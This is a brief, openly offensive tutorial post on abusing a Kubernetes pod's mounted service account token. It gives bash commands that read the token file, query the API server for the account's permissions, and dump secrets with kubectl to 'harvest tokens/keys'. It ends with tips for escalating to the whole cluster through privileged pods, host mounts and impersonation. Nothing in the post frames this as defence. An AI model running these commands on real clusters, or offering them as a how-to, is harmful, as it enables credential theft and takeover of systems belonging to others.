Abuse a mounted Kubernetes service account token

Aug 5, 2026 · 1 min read

Pods mount a token at a known path. Use it to query your own permissions, then read secrets or create workloads if allowed.

bash

T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
curl -sk -H "Authorization: Bearer $T" $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews -d ...

Or with kubectl if present.

bash

kubectl auth can-i --list
kubectl get secrets -o yaml   # if RBAC permits, harvest tokens/keys

Pro note: the highest-value verbs are get/list on secrets, create on pods (schedule a privileged pod), and impersonate. If you can create pods, you can often mount the host or use a node-scoped service account to escalate to the cluster.